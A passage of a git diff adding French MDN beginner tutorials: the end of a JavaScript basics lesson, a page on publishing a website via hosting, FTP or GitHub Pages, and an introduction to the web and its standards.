Pourquoi a-t-on besoin de variables ? Et bien parce qu'elles sont essentielles à la programmation. Si les valeurs ne pouvaient pas changer, on ne pourrait rien faire de dynamique, comme personnaliser un message de bienvenue ou changer l'image affichée dans une galerie.

+ +

Commentaires

+ +

Il est possible d'intégrer des commentaires dans du code JavaScript, de la même manière que dans les CSS :

+ +
/*
+Tout ce qui est écrit ici est entre commentaires.
+*/
+ +

Si votre commentaire tient sur une ligne, vous pouvez utiliser deux barres obliques pour indiquer un commentaire :

+ +
// Voici un commentaire
+ +

Opérateurs

+ +

Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produit un résultat en fonction de deux valeurs (ou variables). Le tableau suivant liste certains des opérateurs les plus simples ainsi que des exemples que vous pouvez tester dans votre console JavaScript.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OpérateurExplicationSymbole(s)Exemple
AdditionUtilisé pour ajouter deux nombres ou concaténer (accoler) deux chaînes.+6 + 9;
+ "Bonjour " + "monde !";
Soustraction, multiplication, divisionLes opérations mathématiques de base.-, *, /9 - 3;
+ 8 * 2; // pour multiplier, on utilise un astérisque
+ 9 / 3;
AssignationOn a déjà vu cet opérateur : il affecte une valeur à une variable.=let myVariable = 'Bob';
ÉgalitéTeste si deux valeurs sont égales et renvoie un booléen true/false comme résultat.===let myVariable = 3;
+ myVariable === 4;
Négation , N'égale pas +

Renvoie la valeur logique opposée à ce qu'il précède ; il change true en false, etc. Utilisé avec l'opérateur d'égalité, l'opérateur de négation teste que deux valeurs ne sont pas égales.

+ 		!, !== +

L'expression de base est vraie, mais la comparaison renvoie false parce que nous la nions :

+ +

let myVariable = 3;
+ !(myVariable === 3);

+ +

On teste ici que "myVariable n'est PAS égale à 3". Cela renvoie false, car elle est égale à 3.

+ +

let myVariable = 3;
+ myVariable !== 3;

+
+ +

Il y a nombre d'autres opérateurs à explorer, mais nous nous en tiendrons à ceux-là pour le moment. Voir Expressions et opérateurs pour la liste complète.

+ +
+

Note : Mélanger les types de données peut conduire à d'étranges résultats lors des opérations, donc prenez soin de vous référer correctement à vos variables et d'obtenir les résultats attendus. Par exemple, entrez "35" + "25" dans votre console. Pourquoi n'obtenez-vous pas le résultat attendu ? Parce que les guillemets ont transformé les nombres en chaînes, et donc vous avez concaténé deux chaînes au lieu d'additionner deux nombres. Si vous entrez 35 + 25, vous obtiendrez le bon résultat.

+
+ +

Structures conditionnelles

+ +

Les structures conditionnelles sont des éléments du code qui permettent de tester si une expression est vraie ou non et d'exécuter des instructions différentes selon le résultat. La structure conditionnelle utilisée la plus fréquemment est if ... else. Par exemple :

+ +
let iceCream = 'chocolat';
+if (iceCream === 'chocolat') {
+  alert("J'adore la glace au chocolat !");
+} else {
+  alert("Ooooh, mais j'aurais préféré au chocolat.");
+}
+ +

L'expression contenue dans if ( ... ) correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères chocolat pour voir si elles sont égales. Si cette comparaison renvoie true, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et  c'est le code du second bloc, celui présent après  else, qui est exécuté.

+ +

Fonctions

+ +

Les {{Glossary("Fonction", "fonctions")}} sont un moyen de compacter des fonctionnalités en vue de leur réutilisation. Quand vous avez besoin de la procédure, vous pouvez appeler une fonction, par son nom, au lieu de ré‑écrire la totalité du code chaque fois. Nous avons déjà utilisé des fonctions plus haut, par exemple :

+ +
    +
  1. + 
    let myVariable = document.querySelector('h1');
    +
    2. +
  2. + 
    alert('Bonjour !');
    +
    3. +
+ +

Ces fonctions (querySelector et alert) sont disponibles dans le navigateur et vous pouvez les utiliser où bon vous semble.

+ +

Si vous voyez quelque chose qui ressemble à un nom de variable et qui est suivi de parenthèses — () —, c'est probablement une fonction. Les fonctions prennent souvent des {{Glossary("Argument", "arguments")}} — bouts de données dont elles ont besoin pour faire leur travail. Ils sont placés entre parenthèses, séparés par des virgules s'il y en a plusieurs.

+ +

Par exemple, la fonction alert() fait apparaître une fenêtre de pop-up dans la fenêtre du navigateur, mais vous devez donner une chaîne comme argument pour indiquer à la fonction ce que l'on souhaite écrire dans cette fenêtre.

+ +

La bonne nouvelle est que vous pouvez définir vos propres fonctions — par exemple, vous pouvez écrire une fonction toute simple qui prend deux arguments et les multiplie :

+ +
function multiply(num1,num2) {
+  let result = num1 * num2;
+  return result;
+}
+ +

Vous pouvez déclarer cette fonction dans la console avant de l'utiliser plusieurs fois :

+ +
multiply(4, 7);
+multiply(20, 20);
+multiply(0.5, 3);
+ +
+

Note : L'instruction return indique au navigateur qu'il faut renvoyer la variable result en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez cet article).

+
+ +

Événements

+ +

Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est l'événement cliquer, déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours :

+ +
document.querySelector('html').addEventListener('click', function() {
+    alert('Aïe, arrêtez de cliquer !!');
+});
+ +

Il existe plein de méthodes pour « attacher » un événement à un élément. Dans cet exemple, nous avons sélectionné l'élément HTML concerné et nous avons défini un gestionnaire onclick qui est une propriété qui est égale à une fonction anonyme (sans nom) qui contient le code à exécuter quand l'utilisateur clique.

+ +

On pourra noter que :

+ +
document.querySelector('html').addEventListener('click', function() {});
+ +

est équivalent à :

+ +
let myHTML = document.querySelector('html');
+myHTML.addEventListener('click', function() {});
+ +

La première syntaxe est simplement plus courte.

+ +

Booster notre site web

+ +

Maintenant que nous avons vu quelques bases en JavaScript, nous allons ajouter quelques fonctionnalités intéressantes à notre site pour voir ce qu'il est possible de faire.

+ +

Ajouter un changeur d'image

+ +

Dans cette section, nous allons incorporer une autre image au site en utilisant quelques fonctionnalités de l'API DOM et un peu de JavaScript pour alterner entre les deux images lorsqu'on clique sur l'image affichée.

+ +
    +
  1. Tout d'abord, trouvez une autre image à afficher sur le site. Assurez‑vous qu'elle soit de même taille que la première, ou le plus possible approchante.
    2. +
  2. Enregistrez cette image dans votre dossier images.
    3. +
  3. Renommez cette image « firefox2.png » (sans les guillemets).
    4. +
  4. Dans le fichier main.js, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : + 
    let myImage = document.querySelector('img');
+
+myImage.addEventListener('click', function() {
+    let mySrc = myImage.getAttribute('src');
+    if (mySrc === 'images/firefox-icon.png') {
+      myImage.setAttribute('src', 'images/firefox2.png');
+    } else {
+      myImage.setAttribute('src', 'images/firefox-icon.png');
+    }
+});
    +
    5. +
  5. Sauvegardez tous les fichiers puis chargez index.html dans le navigateur. Maintenant, si vous cliquez sur l'image, elle doit changer pour l'autre !
    6. +
+ +

Dans cet exemple, nous utilisons une référence vers l'élement {{htmlelement("img")}} grâce à la variable myImage. Ensuite, nous égalons la propriété du gestionnaire d'événement onclick de cette variable à une fonction sans nom (une fonction anonyme). Maintenant chaque fois que cet élément est cliqué :

+ +
    +
  1. nous récupèrons la valeur de l'attribut src de l'image.
    2. +
  2. nous utilisons une structure conditionnelle pour voir si la valeur de src est égale au chemin de l'image originale : +
      +
    1. si c'est le cas, nous changeons la valeur de src et indiquons le chemin vers la seconde image, forçant le chargement de cette image dans l'élément {{htmlelement("img")}}.
      2. +
    2. si ce n'est pas le cas (ce qui signifie que l'image a déjà été changée), la valeur de src revient à sa valeur initiale.
      3. +
    +
    3. +
+ +

Ajouter un message d'accueil personnalisé

+ +

Continuons en ajoutant encore un peu de code pour changer le titre de la page afin d'inclure un message d'accueil personnalisé pour le visiteur du site. Ce message d'accueil sera conservé quand l'utilisateur quittera le site et s'il y revient — nous le sauvegarderons avec l'API Web Storage. Nous ajouterons également une option pour pouvoir changer l'utilisateur et le message d'accueil si besoin.

+ +
    +
  1. Dans le fichier index.html, ajoutons la ligne suivante avant l'élément {{htmlelement("script")}} : + + 
    <button>Changer d'utilisateur</button>
    +
    2. +
  2. Dans le fichier main.js, ajoutons le code suivant à la fin du fichier. Cela fait référence au nouveau bouton ajouté et à l'élément de titre puis enregistrons ces références dans des variables : + 
    let myButton = document.querySelector('button');
+let myHeading = document.querySelector('h1');
    +
    3. +
  3. Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : + 
    function setUserName() {
+  let myName = prompt('Veuillez saisir votre nom.');
+  localStorage.setItem('nom', myName);
+  myHeading.textContent = 'Mozilla est cool, ' + myName;
+}
    + Cette fonction utilise la fonction prompt() qui affiche une boîte de dialogue, un peu comme alert() sauf qu'elle permet à l'utilisateur de saisir des données et de les enregistrer dans une variable quand l'utilisateur clique sur OK. Dans notre exemple, nous demandons à l'utilisateur de saisir son nom. Ensuite, nous appelons une API appelée localStorage. Cette API permet de stocker des données dans le navigateur pour pouvoir les réutiliser ultérieurement. Nous utilisons la fonction setItem() de cette API pour stocker la donnée qui nous intéresse dans un conteneur appelé 'nom'. La valeur stockée ici est la valeur de la variable myName qui contient le nom saisi par l'utilisateur. Enfin, on utilise la propriété textContent du titre pour lui affecter un nouveau contenu.
    4. +
  4. Ajoutons ensuite ce bloc if ... else. Ce code correspond à l'étape d'initialisation car il sera utilisé la première fois que la page est chargée par l'utilisateur : + 
    if (!localStorage.getItem('nom')) {
+  setUserName();
+} else {
+  let storedName = localStorage.getItem('nom');
+  myHeading.textContent = 'Mozilla est cool, ' + storedName;
+}
    + Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée nom. Si non, la fonction setUserName() est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode getItem() et on définit le contenu de textContent pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans  setUserName().
    5. +
  5. Enfin, on associe le gestionnaire onclick au bouton. De cette façon, quand on clique sur le bouton, cela déclenchera l'exécution de la fonction setUserName(). Ce bouton permet à l'utilisateur de modifier la valeur s'il le souhaite: + 
    myButton.addEventListener('click', function() {
+  setUserName();
+});
+
    +
    6. +
+ +

Récapitulons : la première fois que l'utilisateur viste le site, il sera invité à saisir un nom d'utilisateur. Ce nom sera utilisé pour afficher un message d'accueil personnalisé. Si l'utilisateur souhaite changer son nom, il peut cliquer sur le bouton. En supplément, le nom est enregistré pour plus tard grâce à l'API localStorage, cela permet à l'utilisateur de retrouver son nom, même s'il a fermé la page et/ou le navigateur et qu'il revient plus tard !

+ +

Conclusion

+ +

Si vous avez suivi les étapes détaillées sur cette page, vous devriez obtenir un résultat semblable à celui-ci (vous pouvez aussi voir la version que nous avons obtenue ici) :

+ +

+ +

Si vous êtes bloqué, n'hésitez pas à comparer votre travail et vos fichiers avec ceux disponibles sur GitHub qui correspondent à notre modèle finalisé.

+ +

Au fur et à mesure de cet article, nous n'avons fait qu'effleurer la surface de JavaScript. Si vous avez envie d'en savoir plus sur JavaScript, vous pouvez utiliser notre Guide JavaScript.

+ +

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.html new file mode 100644 index 0000000000..c4997f9cdf --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/publishing_your_website/index.html @@ -0,0 +1,128 @@ +--- +title: Publier votre site web +slug: Apprendre/Commencer_avec_le_web/Publier_votre_site_web +tags: + - Apprentissage + - Codage + - Débutant + - FTP + - GitHub + - Google App Engine + - Learn + - Web + - publier + - serveur web +translation_of: Learn/Getting_started_with_the_web/Publishing_your_website +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}
+ +
+

Une fois que vous avez fini d'écrire le code et d'organiser les fichiers qui composent votre site, vous devez mettre le site en ligne, ainsi d'autres personnes pourront le trouver. Cet article décrit comment mettre votre extrait de code en ligne avec peu d'efforts.

+
+ +

Quelles sont les options ?

+ +

La publication d'un site web n'est pas une chose simple, essentiellement du fait qu'il y a multiples façons de le faire. Dans cet article, notre objectif n'est pas de documenter toutes les méthodes possibles. Nous discuterons plutôt des avantages et des inconvénients des trois principales stratégies du point de vue d'un débutant,  puis nous vous présenterons une méthode actuellement fonctionnelle.

+ +

Trouver un hébergement et un nom de domaine

+ +

Si vous voulez un contrôle total sur la publication de votre site web, alors vous aurez probablement besoin de dépenser de l'argent pour acheter :

+ +
    +
  • un hébergement — espace pour fichiers loué sur un serveur web d'une société d'hébergement. Vous mettez les fichiers de votre site web dans cet espace et le serveur web en fournit le contenu aux utilisateurs qui le demandent.
    • +
  • un nom de domaine — l'adresse unique où les visiteurs peuvent trouver votre site web, comme https://www.mozilla.org ou http://www.bbc.co.uk. Vous louez votre nom de domaine à un bureau d'enregistrement de domaines.
    • +
+ +

De nombreux sites professionnels sont mis en ligne de cette façon.

+ +

En plus, vous aurez besoin d'un programme {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (voir Combien ça coûte : les logiciels pour plus de détails) pour faire un transfert réel des fichiers du site web sur le serveur. Les programmes FTP varient beaucoup, mais généralement, vous devrez vous connecter sur le serveur web en utilisant des identifiants fournis par votre société d'hébergement (par ex., nom d'utilisateur, mot de passe, nom d'hôte). Le logiciel utilisé pour FTP affiche alors vos fichiers locaux et les fichiers présents sur le serveur dans deux fenêtres, ainsi vous pouvez les transférer dans les deux sens :

+ +

+ +

Suggestions pour trouver hébergement et domaines

+ +
    +
  • Nous ne faisons pas la promotion de sociétés commerciales d'hébergement ou de bureaux d'enregistrement particuliers. Pour trouver des hébergeurs et des bureaux d'enregistrement, faites une recherche pour « hébergement web » et « noms de domaine ». Tous les bureaux d'enregistrement auront une fonctionnalité vous permettant de vérifier si le nom de domaine voulu est disponible ou si quelqu'un d'autre l'a déjà enregistré.
    • +
  • Votre {{Glossary("ISP", "Fournisseur d'Accès Internet")}} (FAI) fournit peut-être un hébergement limité pour un petit site web. Le jeu des fonctionnalités disponibles sera restreint, mais parfait pour vos premières expérimentations — contactez‑les et demandez !
    • +
  • Il existe quelques services gratuits tels que Neocities, Blogspot et Wordpress. À nouveau, vous n'en aurez que pour votre argent, mais ils sont idéaux pour vos expérimentations initiales. Les services gratuits ne nécessitent pour la plupart pas de logiciel FTP pour le téléversement — il suffira de faire un glisser/déposer directement sur leur interface web.
    • +
  • Parfois, des sociétés fournissent hébergement et domaine dans un même paquet.
    • +
+ +

Utiliser un outil en ligne comme GitHub ou Google App Engine

+ +

Certains outils vous permettent de publier votre site web en ligne :

+ +
    +
  • GitHub est un site de « codage collaboratif ». Il vous permet de téléverser des dépôts de code pour stockage dans le système de gestion de versions Git. Vous pouvez alors collaborer à des projets de code ; le système est open source par défaut, ce qui signifie que n'importe qui dans le monde peut trouver votre code GitHub, l'utiliser, en tirer des leçons, et l'améliorer. GitHub a une fonctionnalité très utile appelée pages GitHub, qui vous permet de présenter du code de site web en direct sur le web.
    • +
  • Google App Engine est une plateforme puissante qui vous permet de construire et d'exécuter des applications sur l'infrastructure de Google --- que vous ayez besoin de construire une application web multi‑couche à partir de zéro ou d'héberger un site web statique. Voir How do you host your website on Google App Engine? pour plus d'information.
    • +
+ +

À la différence de la plupart des hébergements, ces outils sont d'utilisation gratuite, mais vous n'avez accès qu'à un ensemble limité de fonctionnalités.

+ +

Utiliser un EDI web tel que Thimble

+ +

Il existe un certain nombre d'applications web qui émulent un environnement de développement de site web, vous permettant de saisir du HTML, des CSS et du JavaScript, puis d'afficher le résultat de ce code tel qu'il le serait sur un site web —  le tout dans un seul onglet de navigateur. De façon générale, ces outils sont très simples, très utiles pour apprendre, gratuits (pour les fonctionnalités de bases), et ils hébergent votre page finie à une adresse unique. Cependant, les fonctionnalités de base sont passablement limitées, et les applications ne fournissent habituellement pas d'espace d'hébergement pour des ressources (comme des images).

+ +

Faites des essais avec certains de ces exemples et voyez lequel vous aimez le mieux :

+ + + +

+ +

Publier via GitHub

+ +

Maintenant, nous allons vous montrer comment publier facilement votre site via les pages GitHub.

+ +
    +
  1. Pour commencer, inscrivez-vous sur GitHub et vérifiez votre adresse e-mail.
    2. +
  2. Ensuite, créez un dépôt dans lequel vous placerez vos fichiers.
    3. +
  3. Sur cette page, dans le champ Repository name, entrez username.github.io : username est votre nom d'utilisateur. Ainsi, par exemple, notre ami bobsmith entrera bobsmith.github.io.
    + Également, cochez Initialize this repository with a README, puis cliquez sur Create repository.
    4. +
  4. Ensuite, glissez-déposez le contenu du dossier de votre site Web dans votre référentiel, puis cliquez sur Commit changes. +
    +

    Note : Assurez-vous que votre dossier comporte bien un fichier index.html.

    +
    +
    5. +
  5. Maintenant, naviguez jusqu'à username.github.io pour voir votre site web en ligne. Par exemple, pour le nom d'utilisateur  chrisdavidmills, allez à  chrisdavidmills.github.io. +
    +

    Note : Cela peut prendre quelques minutes avant que votre site web soit actif. S'il ne fonctionne pas immédiatement, attendez quelques minutes, puis essayez à nouveau.

    +
    +
    6. +
+ +

Pour en savoir plus, voyez GitHub Pages Help.

+ +

Lectures pour approfondir

+ + + +

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}

+ + diff --git a/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.html new file mode 100644 index 0000000000..9db46369dd --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -0,0 +1,171 @@ +--- +title: Le web et ses normes +slug: Apprendre/Commencer_avec_le_web/The_web_and_web_standards +tags: + - Apprendre + - Débutant + - Front-end + - Normes Web + - Standards Web + - Web +translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards +--- +

{{learnsidebar}}

+ +

Cet article apporte des connaissances générales sur le Web — Comment il est né, quelles sont les technologies usuelles du web, comment interagissent-elles ensemble, pourquoi "développeur web" est un excellent choix de carrière, et quels types de bonnes pratiques pourrez-vous apprendrez au fil de ce cours.

+ +

Une brève histoire du web

+ +

Nous allons passer très rapidement sur ce sujet puisqu'il existe de nombreux articles (plus) détaillés de l'histoire du web, vers lesquelles nous pourrons créer des liens un peu plus loin (si cela vous passionne, vous pouvez également rechercher "histoire du web" dans votre moteur de recherche favori et regarder ce que vous trouverez.)

+ +

À la fin des années 60, l'armée américaine a développé un réseau de communication nommé ARPANET. On peut le considérer comme un précurseur du Web puisqu'il travaillait sur la commutation de paquets et constituait la première implémentation de la suite de protocoles TCP/IP. Ces deux technologies forment la base de l'infrastructure sur laquelle est construit Internet

+ +

En 1980, Tim Berners-Lee (souvent abrégé TimBL) a écrit un programme nommé ENQUIRE, basé sur le concept de liens entre différents points. Cela vous dit quelque chose ?

+ +

Avance rapide jusqu'en 1989, où TimBL a écrit Information Management: A Proposal et HyperText at CERN; Ces deux ouvrages fournissent tout le contexte du fonctionnement du Web. Ils ont bénéficié d'une renommé forte, suffisante pour convaincre les patrons de TimBL de le laisser aller de l'avant et de créer un système hypertexte global.

+ +

À la fin des années 90, TimBL avait créé tout le nécessaire pour faire fonctionner une première version du web — HTTP, HTML, le premier navigateur, qui s'appelait WorldWideWeb, un serveur HTTP et quelques pages web à lire.

+ +

Les années suivantes ont vu l'explosion du web, avec la sortie de nombreux navigateurs, la mise en place de milliers de serveurs web et la création de millions de pages web. Ce résumé est très simpliste mais nous vous avions promis qu'il serait bref.

+ +

Un dernier point important à évoquer est la fondation en 1994 par TimBL du World Wide Web Consortium (W3C), une organisation rassemblant des représentants de plusieurs entreprises du numérique pour travailler ensemble à la définition de normes pour les technologies du web. D'autres technologies ont ensuite vu le jour comme le CSS et le JavaScript, et le web a commencé à ressembler à ce que nous connaissons aujourd'hui.

+ +

Les standards du Web

+ +

Les normes Web sont les technologies que nous utilisons pour créer des sites Web. Ces normes existent sous forme de longs documents techniques appelés spécifications, qui détaillent exactement comment la technologie doit fonctionner. Ces documents ne sont pas très utiles pour apprendre à utiliser les technologies qu'ils décrivent (c'est pourquoi nous avons des sites comme MDN Web Docs), mais sont plutôt destinés à être utilisés par des ingénieurs logiciel pour implémenter ces technologies (généralement dans des navigateurs Web).

+ +

Par exemple HTML Living Standard décrit exactement comment le HTML (tous les éléments HTML ainsi que les APIs associées et d'autres technologies proches) devraient être implémentées.

+ +

Les standards Web sont définies par des organisations de normalisation — des institutions qui invite des groupes de personnes de différentes compagnies technologiques à se réunir et s'entendre sur la manière dont les technologies devraient fonctionner pour satisfaire au mieux tous les cas de figure. W3C est le plus connu des organismes de normalisation, même si d'autres existent également, comme le WHATWG (à l'origine de la modernisation du langage HTML), ECMA (qui publie les normes ECMAScript, sur lesquelles est basé JavaScript), Khronos (qui publie des standards pour les graphismes 3D, comme WebGL), et d'autres encore.

+ +

Normes "ouvertes"

+ +

L'un des aspects clés des normes Web, sur lequel TimBL et le W3C se sont immédiatement mis d'accord, est que le Web (et les technologies Web) devraient être libres d'utilisation et de contribution, et non pas freinées par des brevets ou des licences. Par conséquent, n'importe qui peut écrire gratuitement du code pour créer un site Web, et n'importe qui peut contribuer au processus de création de normes et d'écriture de spécifications.

+ +

Le fait que les technologies Web soient créées librement, en collaboration entre de nombreuses entreprises différentes, signifie qu'aucune entreprise ne peut les contrôler, ce qui est une excellente chose. Vous ne voudriez pas qu'une seule entreprise décide soudainement de rendre payant l'intégralité du Web ou de publier une nouvelle version de HTML que tout le monde doive acheter pour continuer à créer des sites Web, ou pire encore, ne décide simplement qu'elle n'est plus intéressée par le Web et l'éteindre.

+ +

Cela permet au Web de rester une ressource publique librement accessible.

+ +

Ne cassez pas le web

+ +

Une phrase qu'on entend souvent à propos des normes web ouvertes est "Ne cassez pas le web" ("don't break the web") — Cela signifie que toute nouvelle technologie Web introduite devrait être rétrocompatible avec ce qui l'a précédée (donc que les anciens sites Web continueront de fonctionner), et compatible avec l'avenir (les technologies futures seront à leur tour compatibles avec ce que nous avons actuellement). En parcourant les explications présentés ici, vous découvrirez comment un travail de conception et d'implémentation bien pensé rend cela possible.

+ +

Être développeur web, c'est bien

+ +

L'industrie du Web est un secteur très attractif si vous êtes à la recherche d'un emploi. Les derniers chiffres publiés estiment le nombre actuel de développeurs Web dans le monde à environ 19 millions, un nombre qui devrait au moins doubler au cours de la prochaine décennie. Le secteur connaissant dans le même temps une pénurie de compétences, y a-t-il un meilleur moment pour apprendre le développement Web?

+ +

Ce n'est cependant pas juste des jeux et de l'amusement - la création de sites Web est une tâche qui se complexifie avec le temps, et vous devrez consacrer du temps à l'étude de plusieurs technologies différentes, de nombreuses méthodes et bonnes pratiques à connaître et tous les cas de figure classiques que vous serez appelé à mettre en œuvre. Vous aurez besoin de quelques mois pour vraiment entrer dans le sujet, puis vous devrez continuer à apprendre afin de maintenir vos connaissances à jour avec tous les nouveaux outils et fonctionnalités qui apparaissent sur le Web, et continuer à pratiquer afin de perfectionner votre travail.

+ +

La seule constante est la variation.

+ +

Cela vous semble difficile ? Pas d'inquiétude, notre objectif est de vous donner toutes les bases pour débuter, ce qui vous facilitera la suite. Une fois que vous aurez accepté le changement permanent et l'inconstance du Web, vous commencerez à vous amuser. En tant que membre de la communauté Web, vous aurez tout un réseau de contacts et de ressources web pour vous aider, qui vous aideront à profiter des possibilités créatives du web.

+ +

Vous êtes désormais un créateur du numérique. Profitez de l'expérience et trouvez votre gagne-pain.

+ +

Vue d'ensemble des outils Web modernes

+ +

Il existe plusieurs technologies à maîtriser si vous souhaitez devenir développeur Web front-end, que nous décrirons brièvement dans cette section. Pour une explication plus détaillée de la façon dont certains d'entre eux interagissent, lisez notre article Le fonctionnement du web.

+ + + +

Vous êtes probablement en train de lire ces mots à l'aide d'un navigateur web (à moins que vous ne l'ayez imprimé ou que vous utilisiez un outil d'accessibilité comme un lecteur d'écran). Les navigateurs web sont des logiciels que les gens utilisent pour naviguer sur le web, comme Firefox, Chrome, Opera, Safari, Edge.

+ +

HTTP

+ +

Hypertext Transfer Protocol, ou HTTP, est un protocole de communication permettant aux navigateurs web de communiquer avec des serveurs web (qui hébergent les sites web). Une conversation type ressemble à quelque chose comme

+ +
"Bonjour Serveur Web. Peux-tu me fournir les fichiers requis pour afficher bbc.co.uk"?
+
+"Bien sûr Navigateur Web - Les voilà"
+
+[Télécharge les fichiers et affiche la page]
+ +

La véritable syntaxe des messages HTTP (appelés requêtes et réponses) ne ressemble pas vraiment à une conversation humaine, mais cela permet d'en avoir un aperçu.

+ +

HTML, CSS et JavaScript

+ +

HTML, CSS, et JavaScript sont les trois principales technologies utilisées pour créer un site web:

+ +
    +
  • +

    Hypertext Markup Language, ou HTML, est un langage de balises consistant en un ensemble d'éléments qui permettent d'encapsuler (de baliser) du contenu pour lui donner du sens (sémantique) et le structurer. Un extrait simple ressemble à cela :

    + + 
    <h1>Ceci est un titre de haut niveau</h1>
+
+<p>Voilà un paragraphe de texte</p>
+
+<img src="chat.jpg" alt="Une image de mon chat">
    + +

    Si nous faisions une analogie avec la construction d'une maison, le HTML serait les fondations et les murs de la maison, qui lui fournissent une architecture et maintien l'ensemble d'un bloc.

    +
    • +
  • +

    Les Feuilles de Style en cascade (CSS - Cascading Style Sheets) est un langage basé sur un ensemble de règles et utilisé pour appliquer des styles à votre HTML, par exemple pour définir la couleur du texte et de l'arrière-plan, ajouter des bordures, animer des éléments, ou agencer les différentes parties d'une page. Par exemple, le code suivant rendrait notre paragraphe HTML rouge:

    + + 
    p  {
+  color: red;
+}
    + +

    Dans notre méthaphore domestique, le CSS serait la peinture, la tapisserie, les tapis et les tableaux que vous utiliseriez pour décorer votre maison.

    +
    • +
  • +

    JavaScript est le langage de programmation que l'on utilise pour ajouter de l'interactivité aux sites webs, du changement de style dynamique à la récupération de mise à jour depuis le server, en passant par les animations visuelles complexes. Ce petit fragment de code JavaScript va stocker un lien vers notre paragraphe et en changer le contenu :

    + + 
    let pElem = document.querySelector('p');
+pElem.textContent =  'J'ai changé le texte!';
    + +

    Dans l'analogie de la maison, JavaScript serait le four, la télévision, le sèche-cheveux — Tout ce qui donne des fonctionnalités utiles à votre logement.

    +
    • +
+ +

Outils

+ +

Une fois que vous maîtriserez les technologies "brutes" qui permettent de construire des pages web (comme HTML, CSS, et JavaScript), vous rencontrerez rapidement divers outils permettant de faciliter ou d'accélerer votre travail. On peut citer comme exemples :

+ +
    +
  • Les outils de développement des navigateurs modernes qui permettent de déboguer votre code.
    • +
  • Des outils de test pouvant être utilisés afin de vérifier si votre code se comporte comme vous l'aviez prévu.
    • +
  • Des bibliothèques et des cadres de travail (frameworks) basés sur JavaScript qui permettent de créer certains types de sites web beaucoup plus rapidement et efficacement .
    • +
  • Ce qu'on appelle les "Linters", des outils d'analyse qui prennent une liste de règles, parcourent votre code et listent les endroits où vous n'avez pas parfaitement suivi les règles.
    • +
  • Des minificateurs, qui retirent tous les blancs de vos fichiers de code pour les rendre plus compacts et donc plus rapides à télécharger.
    • +
+ +

Langages et frameworks « côté serveur »

+ +

HTML, CSS et JavaScript sont des langages "front-end" (ou « côté client »), ce qui signifie qu'ils sont exécutés par le navigateur pour produire un rendu visuel du site web à destination des utilisateurs.

+ +

Il existe une autre catégorie de langages appelés langages "back-end" (ou « côté serveur »), qui s'exécutent sur le serveur avant que le résultat ne soit envoyé au navigateur pour être affiché. Une utilisation typique d'un langage côté serveur consiste à extraire des données d'une base de données et à générer du HTML pour les contenir avant d'envoyer le résultat au navigateur pour que celui-ci l'affiche à l'utilisateur.

+ +

On peut citer comme exemples ASP.NET, Python, PHP, ou NodeJS.

+ +

Les bonnes pratiques du web

+ +

Nous avons rapidement évoqué les technologies utilisées pour créer des sites web et nous allons désormais parler des bonnes pratiques à employer pour s'assurer que vous utilisez ces outils de la meilleure manière possible.

+ +

Lorsque l'on réalise du développement web, la principale cause d'incertitude provient du fait que l'on ne sache pas quelle combinaison de technologies va être utilisée par chacun des utilisateurs du site web:

+ +
    +
  • L'utilisateur 1 peut utiliser un iPhone avec un écran petit et étroit.
    • +
  • L'utilisateur 2 peut se servir d'un ordinateur portable Windows avec un grand écran secondaire.
    • +
  • L'utilisateur 3 peut être aveugle et utiliser un lecteur d'écran pour accéder au contenu de la page web.
    • +
  • L'utilisateur 4 utilise peut-être un très vieil ordinateur de bureau incapable de faire fonctionner les navigateurs modernes.
    • +
+ +

Ne sachant pas comment vos utilisateurs vont interagir avec votre site, vous devez le concevoir de manière défensive — rendre votre site web aussi flexible que possible, de façon à ce que chacun des utilisateurs mentionnés puissent y accéder, même s'ils n'auront pas la même interaction. En bref, nous essayons de rendre le web accessible à tous, autant que possible.

+ +

Vous rencontrerez les concepts suivants à un moment donné de vos études.

+ +
    +
